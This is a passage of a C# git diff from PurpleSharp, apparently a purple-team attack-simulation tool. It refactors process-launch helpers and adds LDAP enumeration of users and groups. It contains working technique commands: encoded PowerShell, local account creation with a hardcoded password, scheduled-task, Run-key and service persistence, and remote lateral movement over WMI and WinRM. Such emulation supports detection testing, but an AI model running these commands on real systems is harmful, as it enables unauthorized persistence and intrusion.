computer.Fqdn); //return false; - } - } DateTime dtime = DateTime.Now; - Console.WriteLine("{0}[{1}] Finished network service scan on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } - public static void ListUsersLdap(Logger logger) + public static void LdapQueryForObjects(Logger logger, int type=1, string user = "", string group = "") { try { @@ -128,26 +126,52 @@ public static void ListUsersLdap(Logger logger) DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + dc); DirectorySearcher search = new DirectorySearcher(); search = new DirectorySearcher(searchRoot); - Console.WriteLine(search); - search.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; - search.PropertiesToLoad.Add("samaccountname"); - search.PropertiesToLoad.Add("displayname"); + + //users + if (type == 1) + { + search.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; + search.PropertiesToLoad.Add("samaccountname"); + search.PropertiesToLoad.Add("displayname"); + } + else if (type == 2) + { + if (group.Equals("")) + { + search.Filter = "(&(objectClass=group))"; + search.PropertiesToLoad.Add("samaccountname"); + search.PropertiesToLoad.Add("CanonicalName"); + } + else + { + //https://forums.asp.net/t/1991180.aspx?Query+AD+for+users+in+a+specific+group+by+group+name+ + search.Filter = String.Format("(&(cn={0})(objectClass=group))", group); + search.PropertiesToLoad.Add("member"); + } + } search.SizeLimit = 15; SearchResult result; SearchResultCollection resultCol = search.FindAll(); if (resultCol != null) { - logger.TimestampInfo("Obtained results via LDAP"); + logger.TimestampInfo(String.Format("Obtained {0} results via LDAP", resultCol.Count)); for (int counter = 0; counter < resultCol.Count; counter++) { string UserNameEmailString = string.Empty; result = resultCol[counter]; if (result.Properties.Contains("samaccountname") && result.Properties.Contains("displayname")) { - Console.WriteLine((String)result.Properties["displayname"][0] + ": " + (String)result.Properties["samaccountname"][0]); logger.TimestampInfo((String)result.Properties["displayname"][0] + ": " + (String)result.Properties["samaccountname"][0]); } + else if (result.Properties.Contains("samaccountname") && result.Properties.Contains("CanonicalName")) + { + logger.TimestampInfo((String)result.Properties["samaccountname"][0] + " - " + (String)result.Properties["CanonicalName"][0]); + } + else if (result.Properties.Contains("Member")) + { + logger.TimestampInfo((String)result.Properties["member"][0]); + } } } } @@ -159,6 +183,5 @@ public static void ListUsersLdap(Logger logger) } } - } } \ No newline at end of file diff --git a/PurpleSharp/Simulations/Execution.cs b/PurpleSharp/Simulations/Execution.cs index 58d8efc..63025b5 100644 --- a/PurpleSharp/Simulations/Execution.cs +++ b/PurpleSharp/Simulations/Execution.cs @@ -15,7 +15,7 @@ static public void ExecutePowershellCmd(string log) try { string encodedPwd = "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA=="; - ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -57,7 +57,7 @@ static public void WindowsCommandShell(string log) logger.SimulationHeader("T1059.003"); try { - ExecutionHelper.StartProcess("", "cmd.exe /C whoami", logger); + ExecutionHelper.StartProcessApi("", "cmd.exe /C whoami", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -74,8 +74,8 @@ static public void ServiceExecution(string log) logger.SimulationHeader("T1569.002"); try { - ExecutionHelper.StartProcess("", "net start UpdaterService", logger); - ExecutionHelper.StartProcess("", "sc start UpdaterService", logger); + ExecutionHelper.StartProcessApi("", "net start UpdaterService", logger); + ExecutionHelper.StartProcessApi("", "sc start UpdaterService", logger); logger.SimulationFinished(); } @@ -95,7 +95,7 @@ static public void VisualBasic(string log) try { string file = "invoice0420.vbs"; - ExecutionHelper.StartProcess("", String.Format("wscript.exe {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("wscript.exe {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -114,7 +114,7 @@ static public void JScript(string log) try { string file = "invoice0420.js"; - ExecutionHelper.StartProcess("", String.Format("wscript.exe {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("wscript.exe {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) diff --git a/PurpleSharp/Simulations/ExecutionHelper.cs b/PurpleSharp/Simulations/ExecutionHelper.cs index 585438a..e09ff69 100644 --- a/PurpleSharp/Simulations/ExecutionHelper.cs +++ b/PurpleSharp/Simulations/ExecutionHelper.cs @@ -1,7 +1,9 @@ +using PurpleSharp.Lib; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; +using System.Text; namespace PurpleSharp.Simulations { @@ -30,7 +32,7 @@ public static void StartProcess_old(string binary, string cmdline, Lib.Logger lo else if (retValue != false && cleanup == false ) logger.TimestampInfo("Could not start process!"); } - public static void StartProcess(string binary, string cmdline, Lib.Logger logger) + public static void StartProcessApi(string binary, string cmdline, Lib.Logger logger) { const uint NORMAL_PRIORITY_CLASS = 0x0020; @@ -41,7 +43,7 @@ public static void StartProcess(string binary, string cmdline, Lib.Logger logger Structs.SECURITY_ATTRIBUTES tSec = new Structs.SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); - logger.TimestampInfo("Using the Win32 API call CreateProcess to execute: " + cmdline); + logger.TimestampInfo(String.Format("Using the Win32 API call CreateProcess to execute: '{0}'", cmdline)); retValue = WinAPI.CreateProcess(null, cmdline, ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); if (retValue) @@ -51,6 +53,35 @@ public static void StartProcess(string binary, string cmdline, Lib.Logger logger else logger.TimestampInfo("Could not start process!"); } + public static void StartProcessNET(string binary, string cmdline, Logger logger) + { + + using (Process process = new Process()) + { + process.StartInfo.FileName = binary; + process.StartInfo.Arguments = cmdline; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + logger.TimestampInfo(String.Format("Using the System.Diagnostics .NET namespace to execute '{0} {1}'", binary, cmdline)); + process.Start(); + logger.TimestampInfo(String.Format("Process successfully created. (PID): " + process.Id)); + + string standard_output; + int i = 0; + while ((standard_output = process.StandardOutput.ReadLine()) != null && i < 10) + { + if (!standard_output.Trim().Equals("")) + { + //do something + logger.TimestampInfo(standard_output); + //Console.WriteLine(standard_output); + i++; + //break; + } + } + process.WaitForExit(); + } + } public static void StartProcessAsUser(string binary, string cmdline, string domain, string username, string password) { Structs.STARTUPINFO startupInfo = new Structs.STARTUPINFO(); diff --git a/PurpleSharp/Simulations/LateralMovement.cs b/PurpleSharp/Simulations/LateralMovement.cs index 5cafe93..7d3c121 100644 --- a/PurpleSharp/Simulations/LateralMovement.cs +++ b/PurpleSharp/Simulations/LateralMovement.cs @@ -21,7 +21,7 @@ static public void CreateRemoteServiceOnHosts(int nhost, int tsleep, bool cleanu var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); //Console.WriteLine("[*] Starting Service Based Lateral Movement attack from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); @@ -62,7 +62,7 @@ static public void WinRmCodeExec(int nhost, int tsleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); //Console.WriteLine("[*] Starting WinRM Based Lateral Movement attack from {0} running as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); @@ -102,7 +102,7 @@ static public void ExecuteWmiOnHosts(int nhost, int tsleep, string log) int computertype = rand.Next(1, 6); logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); - List targethosts = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targethosts = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); logger.TimestampInfo(String.Format("Obtained {0} target computers", targethosts.Count)); List tasklist = new List(); if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", tsleep)); diff --git a/PurpleSharp/Simulations/Persistence.cs b/PurpleSharp/Simulations/Persistence.cs index 1a6ae9c..9335b71 100644 --- a/PurpleSharp/Simulations/Persistence.cs +++ b/PurpleSharp/Simulations/Persistence.cs @@ -35,11 +35,11 @@ public static void CreateLocalAccountCmd(string log, bool cleanup) { string username = "haxor"; string pwd = "Passw0rd123El7"; - ExecutionHelper.StartProcess("", String.Format("net user {0} {1} /add", username, pwd), logger); + ExecutionHelper.StartProcessApi("", String.Format("net user {0} {1} /add", username, pwd), logger); Thread.Sleep(2000); if (cleanup) { - ExecutionHelper.StartProcess("", String.Format("net user {0} /delete", username), logger); + ExecutionHelper.StartProcessApi("", String.Format("net user {0} /delete", username), logger); } else { @@ -66,10 +66,10 @@ public static void CreateScheduledTaskCmd(string log, bool cleanup) { string taskName = "BadScheduledTask"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; - ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /CREATE /SC DAILY /TN {0} /TR ""{1}"" /ST 13:00", taskName, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"SCHTASKS /CREATE /SC DAILY /TN {0} /TR ""{1}"" /ST 13:00", taskName, binpath), logger); if (cleanup) { - ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /DELETE /F /TN {0}", taskName, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"SCHTASKS /DELETE /F /TN {0}", taskName, binpath), logger); Thread.Sleep(3000); } else @@ -116,11 +116,11 @@ public static void CreateRegistryRunKeyCmd(string log, bool cleanup) string regKey = "BadApp"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; - ExecutionHelper.StartProcess("", String.Format(@"REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /t REG_SZ /F /D {1}", regKey, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /t REG_SZ /F /D {1}", regKey, binpath), logger); if (cleanup) { Thread.Sleep(3000); - ExecutionHelper.StartProcess("", String.Format(@"REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /F", regKey), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /F", regKey), logger); } else { @@ -166,9 +166,9 @@ public static void CreateWindowsServiceCmd(string log, bool cleanup) { string serviceName = "UpdaterService"; string servicePath = @"C:\Windows\Temp\superlegit.exe"; - ExecutionHelper.StartProcess("", String.Format(@"sc create {0} binpath= {1} type= own start= auto", serviceName, servicePath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"sc create {0} binpath= {1} type= own start= auto", serviceName, servicePath), logger); Thread.Sleep(3000); - if (cleanup) ExecutionHelper.StartProcess("", String.Format(@"sc delete {0}", serviceName), logger); + if (cleanup) ExecutionHelper.StartProcessApi("", String.Format(@"sc delete {0}", serviceName), logger); else logger.TimestampInfo(String.Format("The created Service: {0} ImagePath: {1} was not deleted as part of the simulation", serviceName, servicePath)); } catch(Exception ex)